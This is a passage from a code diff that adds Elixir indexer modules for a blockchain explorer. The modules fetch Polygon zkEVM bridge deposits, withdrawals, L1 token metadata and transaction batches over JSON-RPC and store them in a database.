destination_network == rollup_network_id_l2 + end + + defp filter_bridge_event_l2(event, rollup_network_id_l1, rollup_network_id_l2) do + {_, _, _, destination_network} = bridge_event_parse(event, rollup_network_id_l2) + # skip the Withdrawal event if it's for another L1 chain + destination_network == rollup_network_id_l1 + end + + defp filter_claim_event_l1(event, rollup_index_l2) do + {mainnet_bit, rollup_idx, _index, _origin_network, _amount} = claim_event_v2_parse(event) + + if mainnet_bit != 0 do + Logger.error( + "L1 ClaimEvent has non-zero mainnet bit in the transaction #{event.transaction_hash}. This event will be ignored." + ) + end + + # skip the Withdrawal event if it's for another rollup or the source network is Ethereum Mainnet + rollup_idx == rollup_index_l2 and mainnet_bit == 0 + end + + defp filter_claim_event_l2(event, rollup_network_id_l1, rollup_index_l1) do + {mainnet_bit, rollup_idx, _index, origin_network, _amount} = claim_event_v2_parse(event) + + # skip the Deposit event if it's from another L1 chain + (mainnet_bit == 1 and rollup_network_id_l1 == 0) or + (mainnet_bit == 0 and (rollup_idx == rollup_index_l1 or origin_network == rollup_network_id_l1)) + end + + defp l1_token_addresses_from_bridge_events(events, rollup_network_id_l2) do + events + |> Enum.reduce(%MapSet{}, fn event, acc -> + case bridge_event_parse(event, rollup_network_id_l2) do + {{nil, _}, _, _, _} -> acc + {{token_address, nil}, _, _, _} -> MapSet.put(acc, token_address) + end + end) + |> MapSet.to_list() + end + + defp operation_type(first_topic, is_l1) do + if first_topic == @bridge_event do + if is_l1, do: :deposit, else: :withdrawal + else + if is_l1, do: :withdrawal, else: :deposit + end + end + + @doc """ + Fetches L1 token data for the given token addresses, + builds `L1 token address -> L1 token id` map for them, + and writes the data to the database. Returns the resulting map. + """ + @spec token_addresses_to_ids(list(), list()) :: map() + def token_addresses_to_ids(l1_token_addresses, json_rpc_named_arguments) do + token_data = + l1_token_addresses + |> get_token_data(json_rpc_named_arguments) + + tokens_existing = + token_data + |> Map.keys() + |> Reader.token_addresses_to_ids_from_db() + + tokens_to_insert = + token_data + |> Enum.reject(fn {address, _} -> Map.has_key?(tokens_existing, address) end) + |> Enum.map(fn {address, data} -> Map.put(data, :address, address) end) + + {:ok, inserts} = + Chain.import(%{ + polygon_zkevm_bridge_l1_tokens: %{params: tokens_to_insert}, + timeout: :infinity + }) + + tokens_inserted = Map.get(inserts, :insert_polygon_zkevm_bridge_l1_tokens, []) + + # we need to query not inserted tokens from DB separately as they + # could be inserted by another module at the same time (a race condition). + # this is an unlikely case but we handle it here as well + tokens_not_inserted = + tokens_to_insert + |> Enum.reject(fn token -> + Enum.any?(tokens_inserted, fn inserted -> + token.address == IndexerHelper.address_hash_to_string(inserted.address) + end) + end) + |> Enum.map(& &1.address) + + tokens_inserted_outside = Reader.token_addresses_to_ids_from_db(tokens_not_inserted) + + tokens_inserted + |> Enum.reduce(%{}, fn t, acc -> Map.put(acc, IndexerHelper.address_hash_to_string(t.address), t.id) end) + |> Map.merge(tokens_existing) + |> Map.merge(tokens_inserted_outside) + end + + defp token_address_by_origin_address(origin_address, origin_network, leaf_type, rollup_network_id_l2) do + with true <- leaf_type != 1, + token_address = to_string(origin_address), + true <- token_address != burn_address_hash_string() do + if origin_network != rollup_network_id_l2 do + # this is L1 address + {token_address, nil} + else + # this is L2 address + {nil, token_address} + end + else + _ -> {nil, nil} + end + end + + defp get_token_data(token_addresses, json_rpc_named_arguments) do + # first, we're trying to read token data from the DB. + # if tokens are not in the DB, read them through RPC. + token_addresses + |> Reader.get_token_data_from_db() + |> get_token_data_from_rpc(json_rpc_named_arguments) + end + + defp get_token_data_from_rpc({token_data, token_addresses}, json_rpc_named_arguments) do + {requests, responses} = get_token_data_request_symbol_decimals(token_addresses, json_rpc_named_arguments) + + requests + |> Enum.zip(responses) + |> Enum.reduce(token_data, fn {request, {status, response} = _resp}, token_data_acc -> + if status == :ok do + response = parse_response(response) + + address = IndexerHelper.address_hash_to_string(request.contract_address, true) + + new_data = get_new_data(token_data_acc[address] || %{}, request, response) + + Map.put(token_data_acc, address, new_data) + else + token_data_acc + end + end) + end + + defp get_token_data_request_symbol_decimals(token_addresses, json_rpc_named_arguments) do + requests = + token_addresses + |> Enum.map(fn address -> + # we will call symbol() and decimals() public getters + Enum.map([@symbol_method_selector, @decimals_method_selector], fn method_id -> + %{ + contract_address: address, + method_id: method_id, + args: [] + } + end) + end) + |> List.flatten() + + {responses, error_messages} = + IndexerHelper.read_contracts_with_retries(requests, @erc20_abi, json_rpc_named_arguments, 3) + + if not Enum.empty?(error_messages) or Enum.count(requests) != Enum.count(responses) do + Logger.warning( + "Cannot read symbol and decimals of an ERC-20 token contract. Error messages: #{Enum.join(error_messages, ", ")}. Addresses: #{Enum.join(token_addresses, ", ")}" + ) + end + + {requests, responses} + end + + defp get_new_data(data, request, response) do + if atomized_key(request.method_id) == :symbol do + Map.put(data, :symbol, Reader.sanitize_symbol(response)) + else + Map.put(data, :decimals, Reader.sanitize_decimals(response)) + end + end + + defp extend_result(result, _key, value) when is_nil(value), do: result + defp extend_result(result, key, value) when is_atom(key), do: Map.put(result, key, value) + + defp atomized_key("symbol"), do: :symbol + defp atomized_key("decimals"), do: :decimals + defp atomized_key(@symbol_method_selector), do: :symbol + defp atomized_key(@decimals_method_selector), do: :decimals + + defp parse_response(response) do + case response do + [item] -> item + items -> items + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l1.ex b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l1.ex new file mode 100644 index 000000000000..1e45795d35ff --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l1.ex @@ -0,0 +1,275 @@ +defmodule Indexer.Fetcher.PolygonZkevm.BridgeL1 do + @moduledoc """ + Fills polygon_zkevm_bridge DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + import Explorer.Helper, only: [parse_integer: 1] + + import Indexer.Fetcher.PolygonZkevm.Bridge, + only: [get_logs_all: 3, import_operations: 1, prepare_operations: 7] + + alias Explorer.Chain.PolygonZkevm.{Bridge, Reader} + alias Explorer.Chain.RollupReorgMonitorQueue + alias Explorer.Repo + alias Indexer.Fetcher.RollupL1ReorgMonitor + alias Indexer.Helper + + @eth_get_logs_range_size 1000 + @fetcher_name :polygon_zkevm_bridge_l1 + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(_, state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, state} + end + + @impl GenServer + def handle_info(:init_with_delay, _state) do + env = Application.get_all_env(:indexer)[__MODULE__] + env_l2 = Application.get_all_env(:indexer)[Indexer.Fetcher.PolygonZkevm.BridgeL2] + + with {:start_block_undefined, false} <- {:start_block_undefined, is_nil(env[:start_block])}, + _ <- RollupL1ReorgMonitor.wait_for_start(__MODULE__), + rpc = env[:rpc], + {:rpc_undefined, false} <- {:rpc_undefined, is_nil(rpc)}, + {:rollup_network_id_l1_is_valid, true} <- + {:rollup_network_id_l1_is_valid, !is_nil(env[:rollup_network_id_l1]) and env[:rollup_network_id_l1] >= 0}, + {:rollup_network_id_l2_is_valid, true} <- + {:rollup_network_id_l2_is_valid, + !is_nil(env_l2[:rollup_network_id_l2]) and env_l2[:rollup_network_id_l2] > 0}, + {:rollup_index_l2_undefined, false} <- {:rollup_index_l2_undefined, is_nil(env_l2[:rollup_index_l2])}, + {:bridge_contract_address_is_valid, true} <- + {:bridge_contract_address_is_valid, Helper.address_correct?(env[:bridge_contract])}, + start_block = parse_integer(env[:start_block]), + false <- is_nil(start_block), + true <- start_block > 0, + {last_l1_block_number, last_l1_transaction_hash} = Reader.last_l1_item(), + json_rpc_named_arguments = Helper.json_rpc_named_arguments(rpc), + {:ok, block_check_interval, safe_block} <- Helper.get_block_check_interval(json_rpc_named_arguments), + {:start_block_valid, true, _, _} <- + {:start_block_valid, + (start_block <= last_l1_block_number || last_l1_block_number == 0) && start_block <= safe_block, + last_l1_block_number, safe_block}, + {:ok, last_l1_transaction} <- + Helper.get_transaction_by_hash(last_l1_transaction_hash, json_rpc_named_arguments), + {:l1_transaction_not_found, false} <- + {:l1_transaction_not_found, !is_nil(last_l1_transaction_hash) && is_nil(last_l1_transaction)} do + Process.send(self(), :continue, []) + + {:noreply, + %{ + block_check_interval: block_check_interval, + bridge_contract: env[:bridge_contract], + json_rpc_named_arguments: json_rpc_named_arguments, + end_block: safe_block, + start_block: max(start_block, last_l1_block_number), + rollup_network_id_l1: env[:rollup_network_id_l1], + rollup_network_id_l2: env_l2[:rollup_network_id_l2], + rollup_index_l1: env[:rollup_index_l1], + rollup_index_l2: env_l2[:rollup_index_l2] + }} + else + {:start_block_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, %{}} + + {:rpc_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, %{}} + + {:rollup_network_id_l1_is_valid, false} -> + Logger.error( + "Invalid network ID for L1. Please, check INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NETWORK_ID env variable." + ) + + {:stop, :normal, %{}} + + {:rollup_network_id_l2_is_valid, false} -> + Logger.error( + "Invalid network ID for L2. Please, check INDEXER_POLYGON_ZKEVM_L2_BRIDGE_NETWORK_ID env variable." + ) + + {:stop, :normal, %{}} + + {:rollup_index_l2_undefined, true} -> + Logger.error( + "Rollup index is undefined for L2. Please, check INDEXER_POLYGON_ZKEVM_L2_BRIDGE_ROLLUP_INDEX env variable." + ) + + {:stop, :normal, %{}} + + {:bridge_contract_address_is_valid, false} -> + Logger.error("PolygonZkEVMBridge contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:start_block_valid, false, last_l1_block_number, safe_block} -> + Logger.error("Invalid L1 Start Block value. Please, check the value and polygon_zkevm_bridge table.") + Logger.error("last_l1_block_number = #{inspect(last_l1_block_number)}") + Logger.error("safe_block = #{inspect(safe_block)}") + {:stop, :normal, %{}} + + {:error, error_data} -> + Logger.error( + "Cannot get last L1 transaction from RPC by its hash, latest block, or block timestamp by its number due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, %{}} + + {:l1_transaction_not_found, true} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash. Probably, there was a reorg on L1 chain. Please, check polygon_zkevm_bridge table." + ) + + {:stop, :normal, %{}} + + _ -> + Logger.error("L1 Start Block is invalid or zero.") + {:stop, :normal, %{}} + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + bridge_contract: bridge_contract, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: end_block, + json_rpc_named_arguments: json_rpc_named_arguments, + rollup_network_id_l1: rollup_network_id_l1, + rollup_network_id_l2: rollup_network_id_l2, + rollup_index_l1: rollup_index_l1, + rollup_index_l2: rollup_index_l2 + } = state + ) do + time_before = Timex.now() + + last_written_block = + start_block..end_block + |> Enum.chunk_every(@eth_get_logs_range_size) + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = List.first(current_chunk) + chunk_end = List.last(current_chunk) + + if chunk_start <= chunk_end do + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L1) + + operations = + {chunk_start, chunk_end} + |> get_logs_all(bridge_contract, json_rpc_named_arguments) + |> prepare_operations( + rollup_network_id_l1, + rollup_network_id_l2, + rollup_index_l1, + rollup_index_l2, + json_rpc_named_arguments, + json_rpc_named_arguments + ) + + import_operations(operations) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(operations)} L1 operation(s)", + :L1 + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(__MODULE__) + + if !is_nil(reorg_block) && reorg_block > 0 do + reorg_handle(reorg_block) + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + {:cont, chunk_end} + end + end) + + new_start_block = last_written_block + 1 + + {:ok, new_end_block} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(self(), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Returns L1 RPC URL for this module. + """ + @spec l1_rpc_url() :: binary() + def l1_rpc_url do + Application.get_all_env(:indexer)[__MODULE__][:rpc] + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + for this module. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + module_config = Application.get_all_env(:indexer)[__MODULE__] + not is_nil(module_config[:start_block]) + end + + defp reorg_handle(reorg_block) do + {deleted_count, _} = + Repo.delete_all(from(b in Bridge, where: b.type == :deposit and b.block_number >= ^reorg_block)) + + if deleted_count > 0 do + Logger.warning( + "As L1 reorg was detected, some deposits with block_number >= #{reorg_block} were removed from polygon_zkevm_bridge table. Number of removed rows: #{deleted_count}." + ) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l1_tokens.ex b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l1_tokens.ex new file mode 100644 index 000000000000..c208b9f6c7b0 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l1_tokens.ex @@ -0,0 +1,78 @@ +defmodule Indexer.Fetcher.PolygonZkevm.BridgeL1Tokens do + @moduledoc """ + Fetches information about L1 tokens for zkEVM bridge. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + import Ecto.Query + + alias Explorer.Repo + alias Indexer.{BufferedTask, Helper} + alias Indexer.Fetcher.PolygonZkevm.{Bridge, BridgeL1} + + @behaviour BufferedTask + + @default_max_batch_size 1 + @default_max_concurrency 10 + + @doc false + def child_spec([init_options, gen_server_options]) do + rpc = Application.get_all_env(:indexer)[BridgeL1][:rpc] + json_rpc_named_arguments = Helper.json_rpc_named_arguments(rpc) + + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: json_rpc_named_arguments) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(_, _, _) do + {0, []} + end + + @impl BufferedTask + def run(l1_token_addresses, json_rpc_named_arguments) when is_list(l1_token_addresses) do + l1_token_addresses + |> Bridge.token_addresses_to_ids(json_rpc_named_arguments) + |> Enum.each(fn {l1_token_address, l1_token_id} -> + Repo.update_all( + from(b in Explorer.Chain.PolygonZkevm.Bridge, where: b.l1_token_address == ^l1_token_address), + set: [l1_token_id: l1_token_id, l1_token_address: nil] + ) + end) + end + + @doc """ + Fetches L1 token data asynchronously. + """ + def async_fetch(data) do + async_fetch(data, Application.get_env(:indexer, __MODULE__.Supervisor)[:enabled]) + end + + def async_fetch(_data, false), do: :ok + + def async_fetch(operations, _enabled) do + l1_token_addresses = + operations + |> Enum.reject(fn operation -> is_nil(operation.l1_token_address) end) + |> Enum.map(fn operation -> operation.l1_token_address end) + |> Enum.uniq() + + BufferedTask.buffer(__MODULE__, l1_token_addresses, true) + end + + defp defaults do + [ + flush_interval: 100, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + poll: false, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l2.ex b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l2.ex new file mode 100644 index 000000000000..983f69a39cc1 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/bridge_l2.ex @@ -0,0 +1,223 @@ +defmodule Indexer.Fetcher.PolygonZkevm.BridgeL2 do + @moduledoc """ + Fills polygon_zkevm_bridge DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + import Explorer.Helper, only: [parse_integer: 1] + + import Indexer.Fetcher.PolygonZkevm.Bridge, + only: [get_logs_all: 3, import_operations: 1, prepare_operations: 7] + + alias Explorer.Chain.PolygonZkevm.{Bridge, Reader} + alias Explorer.Repo + alias Indexer.Fetcher.PolygonZkevm.BridgeL1 + alias Indexer.Helper + + @eth_get_logs_range_size 1000 + @fetcher_name :polygon_zkevm_bridge_l2 + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + json_rpc_named_arguments = args[:json_rpc_named_arguments] + {:ok, %{}, {:continue, json_rpc_named_arguments}} + end + + @impl GenServer + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + @impl GenServer + def handle_info(:init_with_delay, %{json_rpc_named_arguments: json_rpc_named_arguments} = state) do + env = Application.get_all_env(:indexer)[__MODULE__] + env_l1 = Application.get_all_env(:indexer)[BridgeL1] + + with {:start_block_undefined, false} <- {:start_block_undefined, is_nil(env[:start_block])}, + rpc_l1 = env_l1[:rpc], + {:rpc_l1_undefined, false} <- {:rpc_l1_undefined, is_nil(rpc_l1)}, + {:rollup_network_id_l1_is_valid, true} <- + {:rollup_network_id_l1_is_valid, + !is_nil(env_l1[:rollup_network_id_l1]) and env_l1[:rollup_network_id_l1] >= 0}, + {:rollup_network_id_l2_is_valid, true} <- + {:rollup_network_id_l2_is_valid, !is_nil(env[:rollup_network_id_l2]) and env[:rollup_network_id_l2] > 0}, + {:rollup_index_l2_undefined, false} <- {:rollup_index_l2_undefined, is_nil(env[:rollup_index_l2])}, + {:bridge_contract_address_is_valid, true} <- + {:bridge_contract_address_is_valid, Helper.address_correct?(env[:bridge_contract])}, + start_block = parse_integer(env[:start_block]), + false <- is_nil(start_block), + true <- start_block > 0, + {last_l2_block_number, last_l2_transaction_hash} = Reader.last_l2_item(), + {:ok, latest_block} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()), + {:start_block_valid, true} <- + {:start_block_valid, + (start_block <= last_l2_block_number || last_l2_block_number == 0) && start_block <= latest_block}, + {:ok, last_l2_transaction} <- + Helper.get_transaction_by_hash(last_l2_transaction_hash, json_rpc_named_arguments), + {:l2_transaction_not_found, false} <- + {:l2_transaction_not_found, !is_nil(last_l2_transaction_hash) && is_nil(last_l2_transaction)} do + Process.send(self(), :continue, []) + + {:noreply, + %{ + bridge_contract: env[:bridge_contract], + json_rpc_named_arguments: json_rpc_named_arguments, + json_rpc_named_arguments_l1: Helper.json_rpc_named_arguments(rpc_l1), + end_block: latest_block, + start_block: max(start_block, last_l2_block_number), + rollup_network_id_l1: env_l1[:rollup_network_id_l1], + rollup_network_id_l2: env[:rollup_network_id_l2], + rollup_index_l1: env_l1[:rollup_index_l1], + rollup_index_l2: env[:rollup_index_l2] + }} + else + {:start_block_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, state} + + {:rpc_l1_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, state} + + {:rollup_network_id_l1_is_valid, false} -> + Logger.error( + "Invalid network ID for L1. Please, check INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NETWORK_ID env variable." + ) + + {:stop, :normal, %{}} + + {:rollup_network_id_l2_is_valid, false} -> + Logger.error( + "Invalid network ID for L2. Please, check INDEXER_POLYGON_ZKEVM_L2_BRIDGE_NETWORK_ID env variable." + ) + + {:stop, :normal, %{}} + + {:rollup_index_l2_undefined, true} -> + Logger.error( + "Rollup index is undefined for L2. Please, check INDEXER_POLYGON_ZKEVM_L2_BRIDGE_ROLLUP_INDEX env variable." + ) + + {:stop, :normal, %{}} + + {:bridge_contract_address_is_valid, false} -> + Logger.error("PolygonZkEVMBridge contract address is invalid or not defined.") + {:stop, :normal, state} + + {:start_block_valid, false} -> + Logger.error("Invalid L2 Start Block value. Please, check the value and polygon_zkevm_bridge table.") + {:stop, :normal, state} + + {:error, error_data} -> + Logger.error( + "Cannot get last L2 transaction from RPC by its hash or latest block due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, state} + + {:l2_transaction_not_found, true} -> + Logger.error( + "Cannot find last L2 transaction from RPC by its hash. Probably, there was a reorg on L2 chain. Please, check polygon_zkevm_bridge table." + ) + + {:stop, :normal, state} + + _ -> + Logger.error("L2 Start Block is invalid or zero.") + {:stop, :normal, state} + end + end + + @impl GenServer + def handle_info( + :continue, + %{ + bridge_contract: bridge_contract, + start_block: start_block, + end_block: end_block, + json_rpc_named_arguments: json_rpc_named_arguments, + json_rpc_named_arguments_l1: json_rpc_named_arguments_l1, + rollup_network_id_l1: rollup_network_id_l1, + rollup_network_id_l2: rollup_network_id_l2, + rollup_index_l1: rollup_index_l1, + rollup_index_l2: rollup_index_l2 + } = state + ) do + start_block..end_block + |> Enum.chunk_every(@eth_get_logs_range_size) + |> Enum.each(fn current_chunk -> + chunk_start = List.first(current_chunk) + chunk_end = List.last(current_chunk) + + if chunk_start <= chunk_end do + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, :L2) + + operations = + {chunk_start, chunk_end} + |> get_logs_all(bridge_contract, json_rpc_named_arguments) + |> prepare_operations( + rollup_network_id_l1, + rollup_network_id_l2, + rollup_index_l1, + rollup_index_l2, + json_rpc_named_arguments, + json_rpc_named_arguments_l1 + ) + + import_operations(operations) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(operations)} L2 operation(s)", + :L2 + ) + end + end) + + {:stop, :normal, state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + def reorg_handle(reorg_block) do + {deleted_count, _} = + Repo.delete_all(from(b in Bridge, where: b.type == :withdrawal and b.block_number >= ^reorg_block)) + + if deleted_count > 0 do + Logger.warning( + "As L2 reorg was detected, some withdrawals with block_number >= #{reorg_block} were removed from polygon_zkevm_bridge table. Number of removed rows: #{deleted_count}." + ) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/polygon_zkevm/transaction_batch.ex b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/transaction_batch.ex new file mode 100644 index 000000000000..c1ae8972c541 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/polygon_zkevm/transaction_batch.ex @@ -0,0 +1,375 @@ +defmodule Indexer.Fetcher.PolygonZkevm.TransactionBatch do + @moduledoc """ + Fills polygon_zkevm_transaction_batches DB table. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import EthereumJSONRPC, only: [integer_to_quantity: 1, json_rpc: 2, quantity_to_integer: 1] + + alias Explorer.Chain + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.PolygonZkevm.Reader + alias Indexer.Helper + alias Indexer.Prometheus.Instrumenter + + @zero_hash "0000000000000000000000000000000000000000000000000000000000000000" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + Logger.metadata(fetcher: :polygon_zkevm_transaction_batches) + + config = Application.get_all_env(:indexer)[Indexer.Fetcher.PolygonZkevm.TransactionBatch] + chunk_size = config[:chunk_size] + recheck_interval = config[:recheck_interval] + + ignore_numbers = + config[:ignore_numbers] + |> String.trim() + |> String.split(",") + |> Enum.map(fn ignore_number -> + ignore_number + |> String.trim() + |> String.to_integer() + end) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :continue, 2000) + + {:ok, + %{ + chunk_size: chunk_size, + ignore_numbers: ignore_numbers, + json_rpc_named_arguments: args[:json_rpc_named_arguments], + prev_latest_batch_number: 0, + prev_virtual_batch_number: 0, + prev_verified_batch_number: 0, + recheck_interval: recheck_interval + }} + end + + @impl GenServer + def handle_info( + :continue, + %{ + chunk_size: chunk_size, + ignore_numbers: ignore_numbers, + json_rpc_named_arguments: json_rpc_named_arguments, + prev_latest_batch_number: prev_latest_batch_number, + prev_virtual_batch_number: prev_virtual_batch_number, + prev_verified_batch_number: prev_verified_batch_number, + recheck_interval: recheck_interval + } = state + ) do + {latest_batch_number, virtual_batch_number, verified_batch_number} = + fetch_latest_batch_numbers(json_rpc_named_arguments) + + {new_state, handle_duration} = + if latest_batch_number > prev_latest_batch_number or virtual_batch_number > prev_virtual_batch_number or + verified_batch_number > prev_verified_batch_number do + start_batch_number = Reader.last_verified_batch_number() + 1 + end_batch_number = latest_batch_number + + log_message = + "" + |> make_log_message(latest_batch_number, prev_latest_batch_number, "latest") + |> make_log_message(virtual_batch_number, prev_virtual_batch_number, "virtual") + |> make_log_message(verified_batch_number, prev_verified_batch_number, "verified") + + Logger.info(log_message <> "Handling the batch range #{start_batch_number}..#{end_batch_number}.") + + {handle_duration, _} = + :timer.tc(fn -> + handle_batch_range( + start_batch_number, + end_batch_number, + json_rpc_named_arguments, + chunk_size, + ignore_numbers + ) + end) + + { + %{ + state + | prev_latest_batch_number: latest_batch_number, + prev_virtual_batch_number: virtual_batch_number, + prev_verified_batch_number: verified_batch_number + }, + div(handle_duration, 1000) + } + else + {state, 0} + end + + Process.send_after(self(), :continue, max(:timer.seconds(recheck_interval) - handle_duration, 0)) + + {:noreply, new_state} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + defp handle_batch_range(start_batch_number, end_batch_number, json_rpc_named_arguments, chunk_size, ignore_numbers) do + start_batch_number..end_batch_number + |> Enum.chunk_every(chunk_size) + |> Enum.each(fn chunk -> + chunk_start = List.first(chunk) + chunk_end = List.last(chunk) + + log_batches_chunk_handling(chunk_start, chunk_end, start_batch_number, end_batch_number) + fetch_and_save_batches(chunk_start, chunk_end, json_rpc_named_arguments, ignore_numbers) + end) + end + + defp log_batches_chunk_handling(chunk_start, chunk_end, start_block, end_block) do + target_range = + if chunk_start != start_block or chunk_end != end_block do + percentage = + (chunk_end - start_block + 1) + |> Decimal.div(end_block - start_block + 1) + |> Decimal.mult(100) + |> Decimal.round(2) + |> Decimal.to_string() + + " Target range: #{start_block}..#{end_block}. Progress: #{percentage}%" + else + "" + end + + if chunk_start == chunk_end do + Logger.info("Handling batch ##{chunk_start}.#{target_range}") + else + Logger.info("Handling batch range #{chunk_start}..#{chunk_end}.#{target_range}") + end + end + + defp make_log_message(prev_message, batch_number, prev_batch_number, type) do + if batch_number > prev_batch_number do + prev_message <> + "Found a new #{type} batch number #{batch_number}. Previous #{type} batch number is #{prev_batch_number}. " + else + prev_message + end + end + + defp fetch_and_save_batches(batch_start, batch_end, json_rpc_named_arguments, ignore_numbers) do + {:ok, responses} = perform_jsonrpc_requests(batch_start, batch_end, json_rpc_named_arguments, ignore_numbers) + + # For every batch info extract batches' L1 sequence transaction and L1 verify transaction + {sequence_hashes, verify_hashes} = + responses + |> Enum.reduce({[], []}, fn res, {sequences, verifies} = _acc -> + send_sequences_transaction_hash = get_transaction_hash(res.result, "sendSequencesTxHash") + verify_batch_transaction_hash = get_transaction_hash(res.result, "verifyBatchTxHash") + + sequences = + if send_sequences_transaction_hash != @zero_hash do + [Base.decode16!(send_sequences_transaction_hash, case: :mixed) | sequences] + else + sequences + end + + verifies = + if verify_batch_transaction_hash != @zero_hash do + [Base.decode16!(verify_batch_transaction_hash, case: :mixed) | verifies] + else + verifies + end + + {sequences, verifies} + end) + + # All L1 transactions in one list without repetition + l1_transaction_hashes = Enum.uniq(sequence_hashes ++ verify_hashes) + + # Receive all IDs for L1 transactions + hash_to_id = + l1_transaction_hashes + |> Reader.lifecycle_transactions() + |> Enum.reduce(%{}, fn {hash, id}, acc -> + Map.put(acc, hash.bytes, id) + end) + + # For every batch build batch representation, collect associated L1 and L2 transactions + {batches_to_import, l2_transactions_to_import, l1_transactions_to_import, _, _} = + responses + |> Enum.reduce({[], [], [], Reader.next_id(), hash_to_id}, fn res, + {batches, l2_transactions, l1_transactions, next_id, + hash_to_id} = _acc -> + number = quantity_to_integer(Map.get(res.result, "number")) + + # the timestamp is undefined for unfinalized batches + timestamp = + case DateTime.from_unix(quantity_to_integer(Map.get(res.result, "timestamp", 0xFFFFFFFFFFFFFFFF))) do + {:ok, ts} -> ts + _ -> nil + end + + l2_transaction_hashes = Map.get(res.result, "transactions") + global_exit_root = Map.get(res.result, "globalExitRoot") + acc_input_hash = Map.get(res.result, "accInputHash") + state_root = Map.get(res.result, "stateRoot") + + # Get ID for sequence 